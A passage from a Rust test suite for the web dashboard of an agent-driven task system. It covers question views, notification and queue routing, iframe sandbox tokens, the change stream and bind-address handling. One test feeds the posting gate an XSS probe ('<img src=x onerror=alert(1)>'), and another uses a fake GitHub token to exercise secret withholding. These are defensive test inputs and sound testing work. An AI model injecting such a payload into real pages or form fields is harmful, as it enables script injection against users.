21230        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21231    }
21232
21233    #[test]
21234    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21235        let store = ask::Questions::at(PathBuf::from("unused"));
21236        let gt = crate::github_text::Withheld {
21237            title: false,
21238            body: true,
21239            categories: vec!["sensitive-data".into()],
21240        };
21241        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21242        let (detail, comparison) =
21243            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21244        let mut q = Question::new(
21245            "r".into(),
21246            "github-text".into(),
21247            "posting-gate".into(),
21248            "s".into(),
21249            detail,
21250            Vec::new(),
21251        );
21252        assert!(
21253            QuestionView::of(q.clone(), &store, None)
21254                .posting_view
21255                .is_none()
21256        );
21257        q.posting_comparison = Some(comparison);
21258        let view = QuestionView::of(q.clone(), &store, None);
21259        let field = &view.posting_view.unwrap().fields[0];
21260        assert_eq!(
21261            field
21262                .original
21263                .iter()
21264                .map(|f| f.text.as_str())
21265                .collect::<String>(),
21266            body
21267        );
21268        assert!(field.original[0].text.starts_with("<img"));
21269        let original_question: Question =
21270            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21271        assert_eq!(original_question, q);
21272        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21273            .original
21274            .start = 1;
21275        assert!(
21276            QuestionView::of(q.clone(), &store, None)
21277                .posting_view
21278                .is_none()
21279        );
21280        q.posting_comparison = original_question.posting_comparison;
21281        q.detail.push_str("extra context");
21282        assert!(
21283            QuestionView::of(q.clone(), &store, None)
21284                .posting_view
21285                .is_some()
21286        );
21287        q.detail.insert(0, 'x');
21288        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21289    }
21290
21291    #[test]
21292    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21293        let store = ask::Questions::at(PathBuf::from("unused"));
21294        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21295        let gt = crate::github_text::Withheld::from_check(
21296            &crate::github_text::check("fix: x", body),
21297            "fix: x",
21298            body,
21299        )
21300        .unwrap();
21301        let (detail, comparison) =
21302            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21303        let mut q = Question::new(
21304            "r".into(),
21305            "github-text".into(),
21306            "posting-gate".into(),
21307            "s".into(),
21308            detail,
21309            Vec::new(),
21310        );
21311        q.posting_comparison = Some(comparison);
21312        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21313        let field = &value["posting_view"]["fields"][0];
21314        let group = &field["replacement_group"];
21315        let triggers = group["triggers"].as_array().unwrap();
21316        assert_eq!(triggers.len(), 2);
21317        assert_ne!(triggers[0], triggers[1]);
21318        for id in triggers {
21319            assert!(
21320                field["original"]
21321                    .as_array()
21322                    .unwrap()
21323                    .iter()
21324                    .any(|f| &f["pair"] == id)
21325            );
21326            assert!(
21327                !field["changed"]
21328                    .as_array()
21329                    .unwrap()
21330                    .iter()
21331                    .any(|f| &f["pair"] == id)
21332            );
21333        }
21334        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21335            group["id"].as_u64().unwrap() as usize;
21336        assert!(
21337            QuestionView::of(q, &store, None).posting_view.is_none(),
21338            "group and trigger IDs cannot collide"
21339        );
21340    }
21341
21342    #[test]
21343    fn a_question_view_carries_markdown_for_each_thread_turn() {
21344        let home = TempDir::new().unwrap();
21345        let store = ask::Questions::at(home.path().join("questions"));
21346        let mut q = Question::new(
21347            "run".to_owned(),
21348            "implement".to_owned(),
21349            "impl-A".to_owned(),
21350            "which?".to_owned(),
21351            String::new(),
21352            Vec::new(),
21353        );
21354        q.say("plain words").unwrap();
21355        q.reply("use **this**", Vec::new()).unwrap();
21356        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21357        let bodies = &v["thread_bodies_md"];
21358        assert_eq!(bodies.as_array().unwrap().len(), 2);
21359        assert!(!bodies[0].to_string().contains("strong"));
21360        assert!(bodies[1].to_string().contains("strong"));
21361    }
21362
21363    #[test]
21364    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21365        let home = TempDir::new().unwrap();
21366        let store = ask::Questions::at(home.path().join("questions"));
21367        let mut q = Question::new(
21368            "run".to_owned(),
21369            "conduct".to_owned(),
21370            "conduct".to_owned(),
21371            "which?".to_owned(),
21372            String::new(),
21373            Vec::new(),
21374        );
21375        q.say("plain words").unwrap();
21376        q.thread.push(ask::Turn {
21377            who: ask::Who::Agent,
21378            body: "Settled as `merge`".to_owned(),
21379            at: jiff::Timestamp::now(),
21380            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21381        });
21382        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21383        let notes = &v["thread_notes_md"];
21384        assert_eq!(notes.as_array().unwrap().len(), 2);
21385        assert!(notes[0].is_null());
21386        let text = notes[1].to_string();
21387        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21388        assert!(APP_JS.contains("ask-turn-note"));
21389    }
21390
21391    #[test]
21392    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21393        // The land panel defers to `run.status` for merged, and labels a
21394        // recorded-open PR on any finished run (superseded, blocked, ...) as
21395        // last seen, never as live state.
21396        assert!(APP_JS.contains("function landView(run, raw) {"));
21397        assert!(
21398            APP_JS.contains(
21399                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21400            )
21401        );
21402        assert!(APP_JS.contains("const pr = landView(run, raw);"));
21403        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21404        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21405        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21406    }
21407
21408    #[test]
21409    fn live_runs_are_never_hidden_or_folded_as_superseded() {
21410        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
21411        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21412        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21413        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21414    }
21415
21416    #[test]
21417    fn review_rounds_label_a_distinct_verified_head() {
21418        assert!(APP_JS.contains("round.verified_head"));
21419        assert!(APP_JS.contains("verified HEAD"));
21420        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21421    }
21422
21423    #[test]
21424    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21425        // A blocked task's chip and note must not fall back to a queued-like
21426        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
21427        // itself by e11fc58 but never checked here.
21428        assert!(APP_JS.contains("blocked: { glyph:"));
21429        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21430
21431        // `blocked_by` mixes task ids and question ids in the same list, and
21432        // the client can only tell them apart by checking each id against
21433        // what it actually knows - never by guessing from the id's shape.
21434        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21435        assert!(
21436            APP_JS.contains(
21437                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21438            ),
21439            "the note line must name what a blocked task is waiting on, not just that it is blocked"
21440        );
21441        // The classification must key off `status_str`, never off `blocked_by`
21442        // or `block_reason` merely being present - both can survive briefly
21443        // on a task a hold or a dead daemon just moved off `blocked`.
21444        assert!(APP_JS.contains("if (status === \"blocked\") {"));
21445
21446        // A question a task is blocked on gets its own node in the same
21447        // dependency graph, not just a task-shaped node with nothing known
21448        // about it.
21449        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21450        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21451        assert!(
21452            APP_JS.contains("location.hash = \"#/questions\";"),
21453            "a question node must jump to the Questions screen, not pretend to be a task"
21454        );
21455
21456        // `Task::answers` - decisions already made - are shown as a record on
21457        // the card, the same disclosure style as the full instruction.
21458        assert!(APP_JS.contains("Resolved questions"));
21459        assert!(APP_JS.contains("r.answersList.append("));
21460        assert!(APP_CSS.contains(".task-answers"));
21461        {
21462            let start = APP_JS
21463                .find("function updateTalkTaskRow")
21464                .expect("updateTalkTaskRow");
21465            let body = &APP_JS[start..];
21466            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21467            assert!(
21468                body.contains(
21469                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21470                ),
21471                "a chat-filed task row must link to the task page"
21472            );
21473            assert!(
21474                !body.contains("#/runs/") && !body.contains("#/queue/"),
21475                "the row must not branch to a run or the queue card"
21476            );
21477            assert!(APP_CSS.contains(".talk-task-link"));
21478        }
21479    }
21480
21481    #[test]
21482    fn a_task_notification_links_to_the_task_page() {
21483        // A task notice opens the task detail page, not the Backlog card.
21484        let start = APP_JS
21485            .find("function noticeLink(")
21486            .expect("noticeLink exists");
21487        let body = &APP_JS[start..];
21488        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21489        assert!(
21490            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21491            "a task notice's link must target the task page"
21492        );
21493        assert!(
21494            !body.contains("#/queue/"),
21495            "regression: the task link must not go back to the Backlog route"
21496        );
21497        assert!(
21498            APP_JS.contains(
21499                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21500            ),
21501            "`#/tasks/<id>` must parse into the task route"
21502        );
21503
21504        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
21505        assert!(
21506            APP_JS.contains(
21507                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21508            ),
21509            "`#/queue/<id>` must parse into a route carrying that id"
21510        );
21511
21512        // And the Backlog view has to actually land on the card once it can
21513        // - see consumeQueueFocus(), which renderQueue() calls on every pass
21514        // so a focus set before the queue has loaded is retried once it has.
21515        assert!(APP_JS.contains("state.queueFocus = route.id;"));
21516        assert!(APP_JS.contains("function consumeQueueFocus()"));
21517        assert!(APP_JS.contains("jumpToTask(id)"));
21518    }
21519
21520    #[test]
21521    fn notifications_distinguish_actionable_questions_from_informational_notices() {
21522        let start = APP_JS
21523            .find("function noticeCoveredBy(")
21524            .expect("noticeCoveredBy exists");
21525        let body = &APP_JS[start..];
21526        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21527
21528        // Historical associations are informational, even for open questions.
21529        assert!(body.contains("Associated question ${short}"));
21530        assert!(!body.contains("el(\"a\""));
21531
21532        // A resolved question displays status rather than an actionable link
21533        assert!(body.contains("(resolved)"));
21534        assert!(body.contains("(closed)"));
21535
21536        let start = APP_JS
21537            .find("function renderNotifications()")
21538            .expect("renderNotifications exists");
21539        let body = &APP_JS[start..];
21540        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21541
21542        // Only a server-resolved answerable question supplies a response link.
21543        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21544        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21545        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
21546        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21547    }
21548
21549    /// Chat rows are two lines at every width: the title alone, then the
21550    /// shrinkable secondary info.
21551    #[test]
21552    fn chat_rows_put_the_title_alone_on_the_first_line() {
21553        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
21554        assert!(APP_CSS.contains(
21555            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21556        ));
21557        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21558        assert!(APP_JS.contains("class: \"badge talk-unread\""));
21559    }
21560
21561    #[test]
21562    fn run_rows_put_the_title_alone_on_the_first_line() {
21563        assert!(
21564            APP_CSS.contains(
21565                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
21566            )
21567        );
21568        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21569        assert!(APP_JS.contains("class: \"card run-card\""));
21570        assert!(APP_JS.contains("class: \"repo run-id\""));
21571    }
21572
21573    /// Wide screens get a master/detail layout built from the views a phone
21574    /// drills into. These are string assertions: they pin the contract between
21575    /// the three assets, not how it looks.
21576    #[test]
21577    fn wide_screens_show_list_and_preview_side_by_side() {
21578        // One breakpoint, spelled the same in the script and the stylesheet.
21579        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21580        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21581        assert!(APP_CSS.contains("main[data-split]"));
21582        assert!(APP_CSS.contains("body[data-split]"));
21583
21584        // The route -> panes table, and a narrow screen opting out of it.
21585        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
21586        assert!(
21587            APP_JS.contains(
21588                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21589            )
21590        );
21591        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21592        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21593        assert!(INDEX_HTML.contains("id=\"split-empty\""));
21594
21595        // Selection is derived from the route, and only ever paints a row.
21596        assert!(APP_JS.contains("function markSelected() {"));
21597        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21598        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21599        // The dense row must override the stacked card the 720px block sets up.
21600        assert!(
21601            APP_CSS.contains(
21602                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21603            )
21604        );
21605
21606        // Independent scrolling: the page stops scrolling, each pane does.
21607        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21608        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21609        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21610        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21611
21612        // A refresh must never navigate: the loaders still check that their
21613        // subject is the one on screen, and crossing the breakpoint only
21614        // re-reads the hash.
21615        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21616        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21617        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21618        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21619
21620        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
21621        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21622    }
21623
21624    #[test]
21625    fn panel_sandbox_carries_exactly_popups() {
21626        let needle = "sandbox: \"";
21627        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21628        assert_eq!(
21629            matches.len(),
21630            1,
21631            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21632        );
21633        let start = matches[0].0 + needle.len();
21634        let end = APP_JS[start..]
21635            .find('"')
21636            .expect("sandbox attribute value must be terminated by a closing quote");
21637        let val = &APP_JS[start..start + end];
21638        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21639        let expected: std::collections::BTreeSet<&str> =
21640            ["allow-popups", "allow-popups-to-escape-sandbox"]
21641                .into_iter()
21642                .collect();
21643        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21644        assert!(
21645            !tokens.contains("allow-scripts"),
21646            "allow-scripts must never be present in sandbox"
21647        );
21648        assert!(
21649            !tokens.contains("allow-same-origin"),
21650            "allow-same-origin must never be present in sandbox"
21651        );
21652    }
21653
21654    #[test]
21655    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21656        // consumeQueueFocus() clears an active Backlog search before it can
21657        // scroll to the target card (the sections list is hidden while a
21658        // search is showing), by recursing back into renderQueue(). The
21659        // fixer's first cut nulled state.queueFocus before that recursive
21660        // call, so the second pass saw nothing to jump to and the jump was
21661        // silently dropped whenever a notification's link was opened with a
21662        // stale search still active. state.queueFocus must only be cleared
21663        // right before jumpToTask() actually runs.
21664        assert!(
21665            APP_JS.contains(
21666                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
21667            ),
21668            "the search-clearing branch must run before state.queueFocus is cleared, or the \
21669             recursive renderQueue() call has nothing left to jump to"
21670        );
21671        assert!(
21672            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21673            "state.queueFocus must be cleared only once the jump has landed, so a card that \
21674             arrives later still gets it"
21675        );
21676        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21677        assert!(APP_JS.contains("is not in the current Backlog."));
21678        assert!(APP_JS.contains("li.card[data-task-id=\""));
21679        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21680        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21681        assert!(APP_CSS.contains(".card-permalink"));
21682        assert!(APP_CSS.contains(".queue-focus-status"));
21683        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21684    }
21685
21686    #[test]
21687    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21688        // The task's own repro: only the link text inside .notice-meta was
21689        // clickable, so a tap on the message, the timestamp, or the card's
21690        // padding did nothing - on a phone that reads as "the card doesn't
21691        // work" even though the tiny link inside it did. Mark read / Dismiss
21692        // must keep working independently of this: `.closest("a, button")`
21693        // is what lets a tap that actually lands on those elements fall
21694        // through instead of being hijacked into a navigation.
21695        assert!(
21696            APP_JS.contains(
21697                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21698            ),
21699            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21700        );
21701    }
21702
21703    #[test]
21704    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21705        assert!(
21706            APP_JS.contains("round.verified_head !== round.head"),
21707            "a round that verified an earlier commit must be visibly distinct from one that \
21708             verified the head reviewers are looking at now"
21709        );
21710        assert!(
21711            APP_JS.contains("round.verified_at"),
21712            "when a check ran must be on the wire, not just which commit"
21713        );
21714        assert!(
21715            APP_JS.contains("resource_blocked"),
21716            "a command magi never got to run (shared build cache contention) must not render \
21717             the same as a command that ran and failed"
21718        );
21719    }
21720
21721    #[test]
21722    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21723        // Every KPI tile but Total runs and Completion names an exact
21724        // RunStatus and hands it to openRunsFiltered(), which is what wires
21725        // the click into state.runsFilter.status (matchesFilter's own
21726        // status check) rather than the coarser runsStateFilter chips. Each
21727        // status literal here must be one of the strings runSection() (and
21728        // isStale()) actually compare a run's own `status` field against -
21729        // a status this dashboard invented would filter to nothing.
21730        assert!(
21731            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
21732            "every KPI tile built through statusTile() must route its click through \
21733             openRunsFiltered, the single place that sets the Runs filter"
21734        );
21735        for (label, status) in [
21736            ("Merged", "merged"),
21737            ("Ready", "ready"),
21738            ("Blocked", "blocked"),
21739            ("Stalled", "stalled"),
21740        ] {
21741            let call = format!("statusTile(\"{label}\", t.{status}, ");
21742            assert!(
21743                APP_JS.contains(&call),
21744                "expected the {label} KPI tile built via {call}..."
21745            );
21746            assert!(
21747                APP_JS.contains(&format!("status === \"{status}\"")),
21748                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
21749                 compare a run against, not one invented only for the stats tile"
21750            );
21751        }
21752        assert!(
21753            APP_JS.contains("function openRunsFiltered(status)"),
21754            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
21755        );
21756        assert!(
21757            APP_JS.contains(
21758                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
21759            ),
21760            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
21761        );
21762        // applyRoute() only flips which view is visible for a plain `#runs`
21763        // hash - it does not itself redraw the list (see applyRoute's own
21764        // handling below) - so openRunsFiltered must call renderRuns()
21765        // itself, and must call applyRoute() too so the view flips even
21766        // when the hash string doesn't change (the operator may already be
21767        // on the Runs view when a tile is tapped, which fires no
21768        // hashchange event at all).
21769        assert!(
21770            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
21771            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
21772             hashchange event that may never fire"
21773        );
21774    }
21775
21776    #[test]
21777    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
21778        // A stats tile can leave state.runsFilter.status set to something
21779        // done-by-construction (e.g. "merged") - picking "Active" afterward
21780        // must drop it the same way an incompatible tree section is already
21781        // dropped, or the Runs list renders permanently empty with no way
21782        // for the operator to tell why.
21783        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
21784        assert!(
21785            APP_JS.contains(
21786                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
21787            ),
21788            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
21789             guard for an incompatible tree section"
21790        );
21791    }
21792
21793    #[test]
21794    fn every_stats_queue_tile_names_a_real_queue_section() {
21795        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
21796        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
21797        // (consumeQueueSectionFocus finds no matching <details> and drops
21798        // the focus) rather than fail loudly, so pin every key against the
21799        // section list it has to resolve against.
21800        assert!(
21801            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21802            "every queue tile built through sectionTile() must route its click through \
21803             openQueueSectionFocus"
21804        );
21805        for key in ["upnext", "running", "done", "held", "blocked"] {
21806            assert!(
21807                APP_JS.contains(&format!("{{ key: \"{key}\",")),
21808                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21809            );
21810        }
21811        // Queued and Failed intentionally both resolve to "upnext" - the
21812        // same section queueSection() itself files them under - rather than
21813        // getting a section each.
21814        for line in [
21815            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21816            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21817            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21818            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21819            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21820            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21821        ] {
21822            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21823        }
21824    }
21825
21826    #[test]
21827    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21828        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
21829        // above for the section-focus channel a stats queue tile drives:
21830        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
21831        // through the stale-search-clear recursion into renderQueue(), and
21832        // clear it only once revealQueueSection() is actually about to run -
21833        // the same trap that once silently dropped a task-focus jump.
21834        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21835        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21836        assert!(APP_JS.contains("function revealQueueSection(details)"));
21837        assert!(
21838            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
21839            "renderQueue() must consume both focus channels on every pass"
21840        );
21841        assert!(
21842            APP_JS.contains(
21843                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
21844            ),
21845            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21846             the recursive renderQueue() call has nothing left to reveal"
21847        );
21848        assert!(
21849            APP_JS.contains(
21850                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
21851            ),
21852            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21853        );
21854        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
21855        // task-focus form of the hash - a plain `#queue` navigation only
21856        // flips which view is visible. openQueueSectionFocus() must
21857        // therefore call renderQueue() itself, and applyRoute() too so the
21858        // view flips even when the hash doesn't change (the Backlog may
21859        // already be open when a tile is tapped, firing no hashchange
21860        // event at all).
21861        assert!(
21862            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
21863            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21864             hashchange event that may never fire"
21865        );
21866    }
21867
21868    #[tokio::test]
21869    async fn the_change_stream_announces_the_current_revisions_on_connect() {
21870        let f = Fixture::start().await;
21871
21872        let mut socket = tokio::net::TcpStream::connect(f.addr)
21873            .await
21874            .expect("connect");
21875        socket
21876            .write_all(
21877                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21878            )
21879            .await
21880            .expect("write request");
21881
21882        // Read until the first event arrives rather than to end of stream: the
21883        // stream is endless by design, which is the point of the route.
21884        let mut seen = String::new();
21885        let mut buf = [0u8; 1024];
21886        while !seen.contains("event: change") {
21887            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21888                .await
21889                .expect("the stream must speak within five seconds")
21890                .expect("read");
21891            assert!(read > 0, "the server closed the change stream: {seen}");
21892            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21893        }
21894
21895        assert!(
21896            seen.to_lowercase()
21897                .contains("content-type: text/event-stream"),
21898            "the browser only reconnects automatically for a real SSE stream: {seen}"
21899        );
21900        let data = seen
21901            .lines()
21902            .find_map(|l| l.strip_prefix("data:"))
21903            .expect("a data line");
21904        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21905        assert!(
21906            payload["queue_rev"].is_u64()
21907                && payload["runs_rev"].is_u64()
21908                && payload["questions_rev"].is_u64()
21909                && payload["talks_rev"].is_u64()
21910                && payload["notifications_rev"].is_u64()
21911                && payload["loop_rev"].is_u64(),
21912            "the client needs one revision per store to know what to refetch, \
21913             and `talks_rev` is the only notification a standing talk gets - a \
21914             phone whose radio slept through a turn learns about it here, as \
21915             does one whose operator started the loop from another device: \
21916             {payload}"
21917        );
21918
21919        // The front end re-polls health on a timer and on wake, and takes the
21920        // revisions from that answer whenever the stream is not up. So health
21921        // has to carry every key the stream carries: a phone on a link that
21922        // will not hold an SSE connection is exactly the phone that must still
21923        // notice a question, and a missing key there is not a 500 but a UI
21924        // that quietly stops updating.
21925        let health = f.get("/api/health").await.json();
21926        for key in [
21927            "queue_rev",
21928            "runs_rev",
21929            "questions_rev",
21930            "talks_rev",
21931            "notifications_rev",
21932            "loop_rev",
21933        ] {
21934            assert!(
21935                health[key].is_u64(),
21936                "health is the change stream's fallback and is missing `{key}`: {health}"
21937            );
21938        }
21939    }
21940
21941    #[tokio::test]
21942    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21943        let f = Fixture::start().await;
21944        let before = f.get("/api/health").await.json()["talks_rev"]
21945            .as_u64()
21946            .expect("talks_rev");
21947
21948        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21949        std::thread::sleep(Duration::from_millis(10));
21950        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21951        on_disk.turns.push(crate::talk::Turn {
21952            sender: None,
21953            breaks: Some(Vec::new()),
21954            messages: Vec::new(),
21955            posted_by: None,
21956            who: crate::talk::Who::Operator,
21957            body: "a new turn".to_owned(),
21958            at: Timestamp::now(),
21959            attachments: Vec::new(),
21960            usage: None,
21961        });
21962        f.talks().put(&mut on_disk).expect("record a turn");
21963
21964        let after = tokio::time::timeout(Duration::from_secs(5), async {
21965            loop {
21966                let revision = f.get("/api/health").await.json()["talks_rev"]
21967                    .as_u64()
21968                    .unwrap();
21969                if revision != before {
21970                    break revision;
21971                }
21972                tokio::time::sleep(Duration::from_millis(50)).await;
21973            }
21974        })
21975        .await
21976        .expect("shared monitor observes external turn");
21977        assert_ne!(
21978            before, after,
21979            "a phone must be able to notice a talk's reply without polling every store"
21980        );
21981    }
21982
21983    #[test]
21984    fn bind_reads_back_from_the_spelling_the_cli_prints() {
21985        // The CLI shows the default in `--help` and parses whatever comes
21986        // back, so the two directions have to agree or `--bind auto` breaks
21987        // the moment someone copies the help text.
21988        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21989            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21990        }
21991        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21992        assert!("everywhere".parse::<Bind>().is_err());
21993    }
21994
21995    #[test]
21996    fn an_explicit_bind_address_is_taken_verbatim() {
21997        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21998
21999        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
22000
22001        assert_eq!(addr, asked);
22002        assert!(
22003            warning.is_none(),
22004            "an operator who named an address gets no lecture"
22005        );
22006    }
22007
22008    #[test]
22009    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
22010        let (addr, warning) = resolve_bind(&Bind::Auto);
22011
22012        // This has to hold on a CI runner with no `tailscale` and on a dev box
22013        // with one, so the invariant asserted is the one shared by both
22014        // outcomes: the address is either a real tailnet address offered
22015        // without comment, or loopback with an explanation. What must never
22016        // happen is a silent fallback - an operator told "listening on
22017        // 127.0.0.1" with no reason would go looking for a firewall.
22018        match addr {
22019            IpAddr::V4(ip) if is_tailnet(&ip) => {
22020                assert!(warning.is_none(), "a tailnet address needs no warning");
22021            }
22022            other => {
